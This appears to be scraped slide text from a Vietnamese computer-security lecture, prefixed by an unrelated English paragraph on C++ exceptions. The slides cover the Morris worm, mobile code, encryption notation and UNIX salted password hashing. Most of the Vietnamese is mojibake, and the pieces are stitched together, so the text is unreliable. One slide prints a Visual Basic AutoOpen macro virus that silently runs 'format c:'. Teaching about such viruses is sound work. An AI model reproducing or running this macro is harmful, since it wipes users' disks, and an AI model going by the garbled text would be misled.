Exceptions provide a way to handle runtime errors by transferring control to exception handlers. Code placed in a try block can throw an exception using throw, which is then caught by an exception handler defined using catch. Handlers must be defined immediately after the try block and catch the matching exception type. The standard library defines common exception types like bad_alloc thrown on memory allocation failure.
9. B畛 t畉n c担ng t畛 m叩y t鱈nh kh叩c tr棚n m畉ng
Internet Worm
T畉n c担ng d畛a vo l畛 h畛ng b畉o m畉t c畛a h畛 i畛u hnh
Robert Tappan Morris, 1988
G畛m 2 ch動董ng tr狸nh
Ch動董ng tr狸nh worm
Ch動董ng tr狸nh bootstrap 畛 t畉i worm
T畛 畛ng l但y lan qua 動畛ng m畉ng
Mobile Code
Applet: 動畛c th畛c thi t畉i tr狸nh duy畛t web
PostScript: 動畛c th畛c thi t畉i m叩y in
9
10. 動畛c vi畉t b畉ng h畛p ng畛
動畛c ch竪n vo ch動董ng tr狸nh h畛p l畛 b畉ng c担ng
c畛 g畛i l dropper
o畉n virus vi畉t b畉ng Visual Basic th畛c hi畛n format 畛
c畛ng
Sub AutoOpen()
Dim oFS
Set oFS = CreateObject(Scripting.FileSystemObject)
vs = Shell(c:command.com /k format c:,vbHide)
End Sub
10
20. P l d畛 li畛u c坦 th畛 xem 動畛c
E l thu畉t to叩n m達 h坦a
KE l kh坦a m達 h坦a
C l d畛 li畛u 動畛c m達 h坦a
C = E(P, KE)
20
C l d畛 li畛u m達 h坦a
D l thu畉t to叩n gi畉i m達
KD l ch狸a kh坦a gi畉i m達
P = D(C, KD)
26. M畛i m畉t kh畉u 動畛c k竪m theo thnh ph畉n, g畛i l salt
UNIX m達 h坦a m畛t kh畛i zero
Kh坦a 動畛c h狸nh thnh t畛 m畉t kh畉u v 12-bit salt
M達 h坦a b畉ng ph動董ng ph叩p DES (Data Encryption Standard )
Th担ng tin l動u tr畛 = E (zero, salt + password)
畛 ki畛m tra m畉t kh畉u, l畉p l畉i qu叩 tr狸nh ny
26
Salt Password
,
,
27. Kh坦a m達 h坦a kh担ng duy nh畉t
Do 坦, kh担ng th畛 d嘆 t狸m kh坦a ny
V kh担ng c畉n ph畉i l動u kh坦a
M達 h坦a 動畛c th畛c hi畛n v畛i c叩c kh坦a kh叩c
nhau
Do 坦 2 ng動畛i d湛ng c坦 c湛ng m畉t kh畉u th狸
th担ng tin l動u tr畛 v畉n kh担ng gi畛ng nhau
27
28. Kh担ng hon ton
M畉t kh畉u v畉n 畛 h狸nh th畛c c坦 th畛 xem 動畛c
trong qu叩 tr狸nh ki畛m tra
M畉t kh畉u c坦 th畛 動畛c truy畛n tr棚n 動畛ng truy畛n
d動畛i d畉ng c坦 th畛 xem 動畛c
畉c bi畛t trong tr動畛ng h畛p truy c畉p t畛 xa
28